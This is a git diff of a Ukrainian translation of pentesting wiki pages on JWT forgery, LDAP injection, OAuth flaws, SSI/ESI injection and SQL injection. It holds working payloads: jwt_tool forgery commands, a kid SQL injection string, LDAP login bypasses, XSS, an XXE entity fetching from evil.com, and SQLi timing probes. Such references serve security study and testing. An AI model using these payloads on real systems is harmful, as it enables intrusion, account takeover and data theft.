Встановіть використовуваний алгоритм як "None" і видаліть частину з підписом.
Встановіть використовуваний алгоритм як "None" і видаліть частину підпису.
Використовуйте розширення Burp під назвою "JSON Web Token", щоб спробувати цю вразливість і змінити різні значення всередині JWT (надішліть запит до Repeater, і на вкладці "JSON Web Token" ви можете змінити значення токена. Ви також можете вибрати, щоб встановити значення поля "Alg" на "None").
### Змінити алгоритм RS256(асиметричний) на HS256(симетричний) (CVE-2016-5431/CVE-2016-10555)
Алгоритм HS256 використовує секретний ключ для підпису та перевірки кожного повідомлення.\
Алгоритм RS256 використовує приватний ключ для підпису повідомлення і використовує публічний ключ для аутентифікації.
Алгоритм RS256 використовує приватний ключ для підпису повідомлення та використовує публічний ключ для аутентифікації.
Якщо ви зміните алгоритм з RS256 на HS256, код на бекенді використовує публічний ключ як секретний ключ, а потім використовує алгоритм HS256 для перевірки підпису.
@ -81,7 +81,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
- **Оцінка токенів з заголовком "jku"**:
- Перевірте URL заяви "jku", щоб переконатися, що він веде до відповідного файлу JWKS.
- Змініть значення "jku" токена, щоб направити його на контрольовану веб-службу, що дозволяє спостерігати за трафіком.
- Змініть значення "jku" токена, щоб направити його на контрольований веб-сервіс, що дозволяє спостерігати за трафіком.
- **Моніторинг HTTP-взаємодії**:
- Спостереження за HTTP-запитами до вашого вказаного URL вказує на спроби сервера отримати ключі з наданого вами посилання.
- Коли ви використовуєте `jwt_tool` для цього процесу, важливо оновити файл `jwtconf.ini` з вашим особистим місцем розташування JWKS для полегшення тестування.
@ -95,23 +95,23 @@ python3 jwt_tool.py JWT_HERE -X s
### Огляд проблем з Kid
Додаткова заявка заголовка, відома як `kid`, використовується для ідентифікації конкретного ключа, що стає особливо важливим у середовищах, де існує кілька ключів для перевірки підпису токена. Ця заява допомагає вибрати відповідний ключ для перевірки підпису токена.
Додаткова заява заголовка, відома як `kid`, використовується для ідентифікації конкретного ключа, що стає особливо важливим у середовищах, де існує кілька ключів для перевірки підпису токена. Ця заява допомагає вибрати відповідний ключ для перевірки підпису токена.
#### Виявлення ключа через "kid"
Коли заява `kid` присутня в заголовку, рекомендується шукати відповідний файл або його варіації в веб-директорії. Наприклад, якщо вказано `"kid":"key/12345"`, слід шукати файли _/key/12345_ та _/key/12345.pem_ у кореневій директорії веб-сайту.
Коли заява `kid` присутня в заголовку, рекомендується шукати у веб-директорії відповідний файл або його варіації. Наприклад, якщо вказано `"kid":"key/12345"`, слід шукати файли _/key/12345_ та _/key/12345.pem_ у кореневій директорії веб-сервера.
#### Перехід по шляху з "kid"
Заява `kid` також може бути використана для навігації по файловій системі, потенційно дозволяючи вибір довільного файлу. Можливо протестувати на наявність з'єднання або виконати атаки Server-Side Request Forgery (SSRF), змінивши значення `kid`, щоб націлитися на конкретні файли або служби. Зміна JWT для зміни значення `kid`, зберігаючи оригінальний підпис, може бути досягнута за допомогою прапора `-T` у jwt_tool, як показано нижче:
Заява `kid` також може бути використана для навігації по файловій системі, потенційно дозволяючи вибір довільного файлу. Можливо протестувати з'єднання або виконати атаки Server-Side Request Forgery (SSRF), змінивши значення `kid`, щоб націлитися на конкретні файли або сервіси. Зміна JWT для зміни значення `kid`, зберігаючи оригінальний підпис, може бути досягнута за допомогою прапора `-T` у jwt_tool, як показано нижче:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
Націлюючись на файли з передбачуваним вмістом, можна підробити дійсний JWT. Наприклад, файл `/proc/sys/kernel/randomize_va_space` в системах Linux, відомий тим, що містить значення **2**, можна використовувати в параметрі `kid` з **2** як симетричним паролем для генерації JWT.
Націлюючись на файли з передбачуваним вмістом, можна підробити дійсний JWT. Наприклад, файл `/proc/sys/kernel/randomize_va_space` в системах Linux, відомий тим, що містить значення **2**, може бути використаний у параметрі `kid` з **2** як симетричним паролем для генерації JWT.
#### SQL-ін'єкція через "kid"
Якщо вміст заяви `kid` використовується для отримання пароля з бази даних, SQL-ін'єкція може бути реалізована шляхом зміни корисного навантаження `kid`. Приклад корисного навантаження, яке використовує SQL-ін'єкцію для зміни процесу підписання JWT, включає:
Якщо вміст заяви `kid` використовується для отримання пароля з бази даних, SQL-ін'єкція може бути здійснена шляхом модифікації корисного навантаження `kid`. Приклад корисного навантаження, яке використовує SQL-ін'єкцію для зміни процесу підписання JWT, включає:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
@ -136,9 +136,9 @@ openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Тоді ви можете використовувати, наприклад, [**jwt.io**](https://jwt.io), щоб створити новий JWT з **створеними відкритими та закритими ключами та вказавши параметр jku на створений сертифікат.** Щоб створити дійсний сертифікат jku, ви можете завантажити оригінальний і змінити необхідні параметри.
Тоді ви можете використовувати, наприклад, [**jwt.io**](https://jwt.io), щоб створити новий JWT з **створеними публічними та приватними ключами та вказуючи параметр jku на створений сертифікат.** Щоб створити дійсний сертифікат jku, ви можете завантажити оригінальний і змінити необхідні параметри.
Ви можете отримати параметри "e" та "n" з відкритого сертифіката, використовуючи:
Ви можете отримати параметри "e" та "n" з публічного сертифіката, використовуючи:
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
@ -170,18 +170,18 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
![](<../images/image (1119).png>)
Якщо зловмисник **генерує самопідписаний сертифікат** і створює підроблений токен, використовуючи відповідний приватний ключ, і замінює значення параметра "x5c" на новостворений сертифікат та модифікує інші параметри, а саме n, e та x5t, то, по суті, підроблений токен буде прийнятий сервером.
Якщо зловмисник **генерує самопідписаний сертифікат** і створює підроблений токен, використовуючи відповідний приватний ключ, і замінює значення параметра "x5c" на новостворений сертифікат та модифікує інші параметри, а саме n, e та x5t, тоді, по суті, підроблений токен буде прийнятий сервером.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### Вбудований відкритий ключ (CVE-2018-0114)
### Вбудований публічний ключ (CVE-2018-0114)
Якщо JWT містить вбудований відкритий ключ, як у наступному сценарії:
Якщо JWT містить вбудований публічний ключ, як у наступному сценарії:
![](<../images/image (624).png>)
Використовуючи наступний скрипт nodejs, можна згенерувати відкритий ключ з цих даних:
Використовуючи наступний скрипт nodejs, можна згенерувати публічний ключ з цих даних:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
@ -222,25 +222,28 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
### Зареєстровані заяви JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
{{#ref}}
https://www.iana.org/assignments/jwt/jwt.xhtml#claims
{{#endref}}
### Інші атаки
**Атаки перехресного реле**
Було помічено, що деякі веб-додатки покладаються на надійний сервіс JWT для генерації та управління своїми токенами. Зафіксовані випадки, коли токен, згенерований для одного клієнта сервісом JWT, був прийнятий іншим клієнтом того ж сервісу JWT. Якщо спостерігається видача або поновлення JWT через сторонній сервіс, слід дослідити можливість реєстрації облікового запису на іншому клієнті цього сервісу, використовуючи те саме ім'я користувача/електронну пошту. Потім слід спробувати повторно надіслати отриманий токен у запиті до цілі, щоб перевірити, чи буде він прийнятий.
Було помічено, що деякі веб-додатки покладаються на надійний сервіс JWT для генерації та управління своїми токенами. Зафіксовано випадки, коли токен, згенерований для одного клієнта сервісом JWT, був прийнятий іншим клієнтом того ж сервісу JWT. Якщо спостерігається видача або поновлення JWT через сторонній сервіс, слід дослідити можливість реєстрації облікового запису на іншому клієнті цього сервісу, використовуючи те саме ім'я користувача/електронну пошту. Потім слід спробувати повторно надіслати отриманий токен у запиті до цілі, щоб перевірити, чи буде він прийнятий.
- Критична проблема може бути вказана прийняттям вашого токена, що потенційно дозволяє підробку облікового запису будь-якого користувача. Однак слід зазначити, що може знадобитися дозвіл на більш широке тестування, якщо реєстрація на сторонньому додатку, оскільки це може потрапити в юридичну сіру зону.
**Перевірка терміну дії токенів**
Термін дії токена перевіряється за допомогою заяви "exp" Payload. Оскільки JWT часто використовуються без інформації про сесію, потрібна обережна обробка. У багатьох випадках захоплення та повторне використання JWT іншого користувача може дозволити видавати себе за цього користувача. JWT RFC рекомендує пом'якшувати атаки повторного використання JWT, використовуючи заяву "exp" для встановлення часу закінчення дії токена. Крім того, реалізація відповідних перевірок додатком для забезпечення обробки цього значення та відхилення прострочених токенів є критично важливою. Якщо токен містить заяву "exp" і обмеження часу тестування дозволяють, рекомендується зберігати токен і повторно використовувати його після закінчення терміну дії. Зміст токена, включаючи парсинг міток часу та перевірку терміну дії (мітка часу в UTC), можна прочитати за допомогою прапора -R інструмента jwt_tool.
Термін дії токена перевіряється за допомогою заяви "exp" Payload. Оскільки JWT часто використовуються без інформації про сесію, потрібна обережна обробка. У багатьох випадках захоплення та повторне використання JWT іншого користувача може дозволити видавати себе за цього користувача. RFC JWT рекомендує пом'якшувати атаки повторного використання JWT, використовуючи заяву "exp" для встановлення часу закінчення дії токена. Крім того, реалізація відповідних перевірок додатком для забезпечення обробки цього значення та відхилення прострочених токенів є критично важливою. Якщо токен містить заяву "exp" і обмеження часу тестування дозволяють, рекомендується зберігати токен і повторно використовувати його після закінчення терміну дії. Вміст токена, включаючи парсинг міток часу та перевірку терміну дії (мітка часу в UTC), можна прочитати за допомогою прапора -R інструмента jwt_tool.
- Існує ризик безпеки, якщо додаток все ще перевіряє токен, оскільки це може означати, що токен ніколи не може закінчитися.
### Інструменти
{% embed url="https://github.com/ticarpi/jwt_tool" %}
{{#ref}}
https://github.com/ticarpi/jwt_tool
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -14,7 +14,7 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP Injection** - це атака, що націлена на веб-додатки, які формують LDAP-інструкції з введення користувача. Вона відбувається, коли додаток **неправильно очищає** введення, що дозволяє зловмисникам **маніпулювати LDAP-інструкціями** через локальний проксі, що потенційно може призвести до несанкціонованого доступу або маніпуляції даними.
**LDAP Injection** - це атака, що націлена на веб-додатки, які формують LDAP-інструкції з введення користувача. Вона відбувається, коли додаток **неправильно очищає** введення, що дозволяє зловмисникам **маніпулювати LDAP-інструкціями** через локальний проксі, що потенційно може призвести до несанкціонованого доступу або маніпуляцій з даними.
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
@ -31,14 +31,14 @@
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
&#xNAN;**(&)** = Абсолютна ІСТИНА\
&#xNAN;**(|)** = Абсолютна ХИБНІСТЬ
&#xNAN;**(&)** = Absolute TRUE\
&#xNAN;**(|)** = Absolute FALSE
Наприклад:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
Ви можете отримати доступ до бази даних, і вона може містити інформацію різного типу.
Ви можете отримати доступ до бази даних, і вона може містити інформацію різних типів.
**OpenLDAP**: Якщо надходять 2 фільтри, виконується лише перший.\
**ADAM або Microsoft LDS**: З 2 фільтрами виникає помилка.\
@ -56,7 +56,7 @@
### Login Bypass
LDAP підтримує кілька форматів для зберігання пароля: clear, md5, smd5, sh1, sha, crypt. Тому може бути так, що незалежно від того, що ви введете в пароль, він буде захищений.
LDAP підтримує кілька форматів для зберігання пароля: clear, md5, smd5, sh1, sha, crypt. Тому може бути так, що незалежно від того, що ви введете в пароль, він буде захешований.
```bash
user=*
password=*
@ -203,7 +203,8 @@ intitle:"phpLDAPadmin" inurl:cmd.php
```
### Більше Пейлоадів
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
## Основна інформація <a href="#d4a8" id="d4a8"></a>
OAuth пропонує різні версії, з основними відомостями, доступними в [OAuth 2.0 документації](https://oauth.net/2/). Це обговорення в основному зосереджене на широко використовуваному [типі надання авторизаційного коду OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), що забезпечує **рамки авторизації, які дозволяють додатку отримувати доступ або виконувати дії в обліковому записі користувача в іншому додатку** (сервер авторизації).
@ -14,13 +13,13 @@ OAuth пропонує різні версії, з основними відом
- **власник ресурсу**: Ви, як **користувач/суб'єкт**, авторизуєте доступ до вашого ресурсу, наприклад, до публікацій у вашому обліковому записі соціальних мереж.
- **сервер ресурсу**: **сервер, що керує аутентифікованими запитами** після того, як додаток отримав `access token` від імені `власника ресурсу`, наприклад, **https://socialmedia.com**.
- **клієнтський додаток**: **додаток, що запитує авторизацію** у `власника ресурсу`, наприклад, **https://example.com**.
- **сервер авторизації**: **сервер, що видає `access tokens`** клієнтському додатку після успішної аутентифікації `власника ресурсу` та отримання авторизації, наприклад, **https://socialmedia.com**.
- **сервер авторизації**: **сервер, який видає `access tokens`** для `клієнтського додатку` після успішної аутентифікації `власника ресурсу` та отримання авторизації, наприклад, **https://socialmedia.com**.
- **client_id**: Публічний, унікальний ідентифікатор для додатку.
- **client_secret:** Конфіденційний ключ, відомий лише додатку та серверу авторизації, що використовується для генерації `access_tokens`.
- **response_type**: Значення, що вказує **тип запитуваного токена**, наприклад, `code`.
- **scope**: **рівень доступу**, який `клієнтський додаток` запитує у `власника ресурсу`.
- **redirect_uri**: **URL, на який користувач перенаправляється після авторизації**. Це зазвичай має відповідати попередньо зареєстрованому URL перенаправлення.
- **state**: Параметр для **збереження даних під час перенаправлення користувача до та з сервера авторизації**. Його унікальність є критично важливою для виконання **механізму захисту від CSRF**.
- **redirect_uri**: **URL, на який користувач перенаправляється після авторизації**. Це зазвичай повинно відповідати попередньо зареєстрованому URL перенаправлення.
- **state**: Параметр для **збереження даних під час перенаправлення користувача до та з сервера авторизації**. Його унікальність є критично важливою для виконання функції **механізму захисту від CSRF**.
- **grant_type**: Параметр, що вказує **тип надання та тип токена, що повертається**.
- **code**: Авторизаційний код від `сервера авторизації`, що використовується разом з `client_id` та `client_secret` клієнтським додатком для отримання `access_token`.
- **access_token**: **токен, який клієнтський додаток використовує для API запитів** від імені `власника ресурсу`.
@ -31,7 +30,7 @@ OAuth пропонує різні версії, з основними відом
**Фактичний потік OAuth** відбувається наступним чином:
1. Ви переходите на [https://example.com](https://example.com) і вибираєте кнопку “Інтегрувати з соціальними мережами”.
2. Сайт надсилає запит на [https://socialmedia.com](https://socialmedia.com), просячи вашу авторизацію, щоб додаток https://example.com міг отримати доступ до ваших публікацій. Запит структурований як:
2. Сайт надсилає запит на [https://socialmedia.com](https://socialmedia.com), просячи вашу авторизацію для надання доступу додатку https://example.com до ваших публікацій. Запит структурований як:
```
https://socialmedia.com/auth
?response_type=code
@ -71,7 +70,7 @@ Host: socialmedia.com
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
### CSRF - Неправильна обробка параметра state <a href="#bda5" id="bda5"></a>
### CSRF - Неправильна обробка параметра стану <a href="#bda5" id="bda5"></a>
У реалізаціях OAuth неправильне використання або пропуск **`state` параметра** може значно підвищити ризик атак **Cross-Site Request Forgery (CSRF)**. Ця вразливість виникає, коли `state` параметр або **не використовується, використовується як статичне значення, або не перевіряється належним чином**, що дозволяє зловмисникам обходити захист CSRF.
@ -84,7 +83,7 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
### Перед взломом облікового запису <a href="#ebe4" id="ebe4"></a>
1. **Без перевірки електронної пошти при створенні облікового запису**: Зловмисники можуть заздалегідь створити обліковий запис, використовуючи електронну пошту жертви. Якщо жертва пізніше використовує сторонній сервіс для входу, додаток може ненавмисно зв'язати цей сторонній обліковий запис з попередньо створеним обліковим записом зловмисника, що призведе до несанкціонованого доступу.
2. **Використання слабкої перевірки електронної пошти в OAuth**: Зловмисники можуть скористатися сервісами OAuth, які не перевіряють електронні адреси, зареєструвавшись у їхньому сервісі, а потім змінивши електронну адресу облікового запису на електронну адресу жертви. Цей метод також несе ризик несанкціонованого доступу до облікового запису, подібно до першого сценарію, але через інший вектор атаки.
2. **Використання слабкої перевірки електронної пошти в OAuth**: Зловмисники можуть скористатися сервісами OAuth, які не перевіряють електронні адреси, зареєструвавшись у їхньому сервісі, а потім змінивши електронну пошту облікового запису на електронну пошту жертви. Цей метод також несе ризик несанкціонованого доступу до облікового запису, подібно до першого сценарію, але через інший вектор атаки.
### Розкриття секретів <a href="#e177" id="e177"></a>
@ -146,7 +145,9 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
```
Для більш детальної інформації про те, як зловживати AWS cognito, перегляньте:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
{{#endref}}
### Зловживання токенами інших додатків <a href="#bda5" id="bda5"></a>
@ -155,7 +156,7 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
Це пов'язано з тим, що **зловмисник** може створити **додаток, що підтримує OAuth і входити через Facebook** (наприклад) у своєму додатку. Потім, коли жертва входить через Facebook у **додатку зловмисника**, зловмисник може отримати **OAuth токен користувача, наданий його додатку, і використовувати його для входу в OAuth додаток жертви, використовуючи токен користувача жертви**.
> [!CAUTION]
> Отже, якщо зловмисник зможе отримати доступ користувача до свого OAuth додатку, він зможе захопити обліковий запис жертви в додатках, які очікують токен і не перевіряють, чи був токен наданий їхньому ID додатку.
> Отже, якщо зловмисник зможе отримати доступ користувача до свого власного OAuth додатку, він зможе захопити обліковий запис жертви в додатках, які очікують токен і не перевіряють, чи був токен наданий їхньому ID додатку.
### Два посилання та cookie <a href="#bda5" id="bda5"></a>
@ -172,7 +173,7 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
Як [**пояснено в цьому відео**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), можливо вказати параметр **`response_mode`**, щоб вказати, де ви хочете, щоб код був наданий у фінальному URL:
- `response_mode=query` -> Код надається всередині GET параметра: `?code=2397rf3gu93f`
- `response_mode=fragment` -> Код надається всередині фрагмента URL параметра `#code=2397rf3gu93f`
- `response_mode=fragment` -> Код надається всередині фрагменту URL параметра `#code=2397rf3gu93f`
- `response_mode=form_post` -> Код надається всередині POST форми з полем введення, названим `code`, і значенням
- `response_mode=web_message` -> Код надсилається в повідомленні: `window.opener.postMessage({"code": "asdasdasd...`
@ -185,29 +186,29 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
Цей [**блог**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) коментує, як було можливим зловживати **відкритим редиректом** на значення з **реферера**, щоб зловживати OAuth для ATO. Атака була:
1. Жертва заходить на веб-сторінку зловмисника
2. Жертва відкриває шкідливе посилання, і відкривач запускає Google OAuth потік з `response_type=id_token,code&prompt=none` як додатковими параметрами, використовуючи як **реферер веб-сайт зловмисника**.
2. Жертва відкриває шкідливе посилання, і відкривач запускає Google OAuth потік з `response_type=id_token,code&prompt=none` як додаткові параметри, використовуючи як **реферер веб-сайт зловмисника**.
3. У відкривачі, після того як постачальник авторизує жертву, він повертає їх назад до значення параметра `redirect_uri` (веб-сайт жертви) з кодом 30X, який все ще зберігає веб-сайт зловмисника в реферері.
4. Веб-сайт жертви **ініціює відкритий редирект на основі реферера**, перенаправляючи користувача жертви на веб-сайт зловмисника, оскільки **`respose_type`** був **`id_token,code`**, код буде надіслано назад до зловмисника у **фрагменті** URL, що дозволяє йому захопити обліковий запис користувача через Google на сайті жертви.
### Параметри SSRFs <a href="#bda5" id="bda5"></a>
[**Перевірте це дослідження**](https://portswigger.net/research/hidden-oauth-attack-vectors) **для подальших деталей цієї техніки.**
[**Перевірте це дослідження**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Для отримання додаткових деталей цієї техніки.**
Динамічна реєстрація клієнтів у OAuth є менш очевидним, але критично важливим вектором для вразливостей безпеки, зокрема для атак **Server-Side Request Forgery (SSRF)**. Цей кінцевий пункт дозволяє серверам OAuth отримувати деталі про клієнтські додатки, включаючи чутливі URL, які можуть бути використані.
Динамічна реєстрація клієнтів у OAuth є менш очевидним, але критично важливим вектором для вразливостей безпеки, зокрема для атак **Server-Side Request Forgery (SSRF)**. Цей кінцевий пункт дозволяє серверам OAuth отримувати деталі про клієнтські додатки, включаючи чутливі URL-адреси, які можуть бути використані в атаках.
**Ключові моменти:**
- **Динамічна реєстрація клієнтів** часто відображається на `/register` і приймає деталі, такі як `client_name`, `client_secret`, `redirect_uris` та URL для логотипів або JSON Web Key Sets (JWKs) через POST запити.
- **Динамічна реєстрація клієнтів** часто відображається на `/register` і приймає деталі, такі як `client_name`, `client_secret`, `redirect_uris` та URL-адреси для логотипів або JSON Web Key Sets (JWKs) через POST запити.
- Ця функція відповідає специфікаціям, викладеним у **RFC7591** та **OpenID Connect Registration 1.0**, які включають параметри, потенційно вразливі до SSRF.
- Процес реєстрації може ненавмисно піддавати сервери SSRF кількома способами:
- **`logo_uri`**: URL для логотипу клієнтського додатку, який може бути отриманий сервером, викликаючи SSRF або призводячи до XSS, якщо URL обробляється неправильно.
- **`jwks_uri`**: URL до документа JWK клієнта, який, якщо зловмисно створений, може змусити сервер здійснити вихідні запити до сервера, контрольованого зловмисником.
- **`sector_identifier_uri`**: Посилається на JSON масив `redirect_uris`, які сервер може отримати, створюючи можливість SSRF.
- **`request_uris`**: Перераховує дозволені запитувані URI для клієнта, які можуть бути використані, якщо сервер отримує ці URI на початку процесу авторизації.
- **`logo_uri`**: URL для логотипу клієнтського додатку, який може бути отриманий сервером, викликаючи SSRF або призводячи до XSS, якщо URL обробляється неналежним чином.
- **`jwks_uri`**: URL до документа JWK клієнта, який, якщо його зловмисно створити, може змусити сервер здійснити вихідні запити до сервера, контрольованого зловмисником.
- **`sector_identifier_uri`**: Посилається на JSON масив `redirect_uris`, який сервер може отримати, створюючи можливість SSRF.
- **`request_uris`**: Перераховує дозволені URI запитів для клієнта, які можуть бути використані, якщо сервер отримує ці URI на початку процесу авторизації.
**Стратегія експлуатації:**
- SSRF може бути ініційований реєстрацією нового клієнта з шкідливими URL у параметрах, таких як `logo_uri`, `jwks_uri` або `sector_identifier_uri`.
- SSRF може бути ініційовано реєстрацією нового клієнта з зловмисними URL в параметрах, таких як `logo_uri`, `jwks_uri` або `sector_identifier_uri`.
- Хоча пряма експлуатація через `request_uris` може бути пом'якшена контролем білого списку, надання попередньо зареєстрованого, контрольованого зловмисником `request_uri` може полегшити SSRF під час етапу авторизації.
## Умови гонки постачальників OAuth
@ -219,5 +220,4 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,10 +1,10 @@
# Включення на стороні сервера/Включення на стороні краю
# Server Side Inclusion/Edge Side Inclusion Injection
{{#include ../banners/hacktricks-training.md}}
## Основна інформація про включення на стороні сервера
## Server Side Inclusion Basic Information
**(Вступ взятий з** [**документації Apache**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
**(Introduction taken from** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
SSI (Server Side Includes) - це директиви, які **розміщуються в HTML-сторінках і оцінюються на сервері** під час їх обслуговування. Вони дозволяють вам **додавати динамічно згенерований контент** до існуючої HTML-сторінки, не обслуговуючи всю сторінку через CGI-програму або іншу динамічну технологію.\
Наприклад, ви можете вставити директиву в існуючу HTML-сторінку, таку як:
@ -57,7 +57,7 @@ SSI (Server Side Includes) - це директиви, які **розміщую
## Edge Side Inclusion
Є проблема **кешування інформації або динамічних додатків**, оскільки частина контенту може **варіюватися** для наступного отримання контенту. Саме для цього використовується **ESI**, щоб вказати за допомогою тегів ESI **динамічний контент, який потрібно згенерувати** перед відправкою кешованої версії.\
Якщо **зловмисник** зможе **впровадити тег ESI** всередину кешованого контенту, тоді він зможе **впровадити довільний контент** у документ перед його відправкою користувачам.
Якщо **зловмисник** зможе **вставити тег ESI** всередину кешованого контенту, тоді він зможе **вставити довільний контент** у документ перед його відправкою користувачам.
### ESI Detection
@ -66,7 +66,7 @@ SSI (Server Side Includes) - це директиви, які **розміщую
Surrogate-Control: content="ESI/1.0"
```
Якщо ви не можете знайти цей заголовок, сервер **може використовувати ESI в будь-якому випадку**.\
**Можна також використовувати сліпий підхід до експлуатації**, оскільки запит має надійти на сервер атакуючого:
**Можна також використовувати підхід сліпої експлуатації**, оскільки запит має надійти на сервер атакуючого:
```javascript
// Basic detection
hell<!--esi-->o
@ -104,7 +104,7 @@ hell<!--esi-->o
| Fastly | Так | Ні | Ні | Ні | Так |
| Akamai ESI Test Server (ETS) | Так | Так | Так | Ні | Ні |
| NodeJS esi | Так | Так | Так | Ні | Ні |
| NodeJS nodesi | Так | Ні | Ні | Ні | Необов'язково |
| NodeJS nodesi | Так | Ні | Ні | Ні | Необов'язково |
#### XSS
@ -187,7 +187,7 @@ Host: anotherhost.com"/>
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
Файл XSLT:
XSLT файл:
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
@ -207,6 +207,8 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
## Список виявлення грубої сили
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Що таке SQL-ін'єкція?
**SQL-ін'єкція** - це вразливість безпеки, яка дозволяє зловмисникам **втручатися в запити до бази даних** додатку. Ця вразливість може дозволити зловмисникам **переглядати**, **модифікувати** або **видаляти** дані, до яких вони не повинні мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких може отримати доступ додаток. Такі дії можуть призвести до постійних змін у функціональності або змісті додатку, або навіть до компрометації сервера чи відмови в обслуговуванні.
**SQL-ін'єкція** це вразливість безпеки, яка дозволяє зловмисникам **втручатися в запити до бази даних** додатку. Ця вразливість може дозволити зловмисникам **переглядати**, **модифікувати** або **видаляти** дані, до яких вони не повинні мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких може отримати доступ додаток. Такі дії можуть призвести до постійних змін у функціональності або змісті додатку, або навіть до компрометації сервера чи відмови в обслуговуванні.
## Виявлення точок входу
Коли сайт виглядає **вразливим до SQL-ін'єкції (SQLi)** через незвичайні відповіді сервера на запити, пов'язані з SQLi, **першим кроком** є розуміння того, як **впроваджувати дані в запит, не порушуючи його**. Це вимагає визначення методу, щоб **ефективно вийти з поточного контексту**. Ось кілька корисних прикладів:
Коли сайт виглядає **вразливим до SQL-ін'єкції (SQLi)** через незвичайні відповіді сервера на введення, пов'язані з SQLi, **першим кроком** є розуміння того, як **впроваджувати дані в запит, не порушуючи його**. Це вимагає визначення методу, щоб **ефективно вийти з поточного контексту**. Ось кілька корисних прикладів:
```
[Nothing]
'
@ -22,7 +21,7 @@
"))
`))
```
Тоді вам потрібно знати, як **виправити запит, щоб не було помилок**. Щоб виправити запит, ви можете **ввести** дані, щоб **попередній запит прийняв нові дані**, або ви можете просто **ввести** свої дані та **додати символ коментаря в кінці**.
Тоді вам потрібно знати, як **виправити запит, щоб не було помилок**. Щоб виправити запит, ви можете **ввести** дані так, щоб **попередній запит прийняв нові дані**, або ви можете просто **ввести** свої дані та **додати символ коментаря в кінці**.
_Зверніть увагу, що якщо ви можете бачити повідомлення про помилки або помітити відмінності, коли запит працює, а коли ні, цей етап буде легшим._
@ -54,9 +53,9 @@ HQL does not support comments
```
### Підтвердження за допомогою логічних операцій
Надійний метод підтвердження вразливості до SQL-ін'єкцій полягає в виконанні **логічної операції** та спостереженні за очікуваними результатами. Наприклад, GET-параметр, такий як `?username=Peter`, що дає ідентичний контент при зміні на `?username=Peter' or '1'='1`, вказує на вразливість до SQL-ін'єкцій.
Надійний метод підтвердження вразливості до SQL-ін'єкцій полягає в виконанні **логічної операції** та спостереженні за очікуваними результатами. Наприклад, GET-параметр, такий як `?username=Peter`, який дає однаковий вміст при зміні на `?username=Peter' or '1'='1`, вказує на вразливість до SQL-ін'єкцій.
Аналогічно, застосування **математичних операцій** слугує ефективною технікою підтвердження. Наприклад, якщо доступ до `?id=1` та `?id=2-1` дає той самий результат, це вказує на SQL-ін'єкцію.
Аналогічно, застосування **математичних операцій** є ефективним методом підтвердження. Наприклад, якщо доступ до `?id=1` та `?id=2-1` дає той самий результат, це вказує на SQL-ін'єкцію.
Приклади, що демонструють підтвердження логічної операції:
```
@ -94,11 +93,11 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
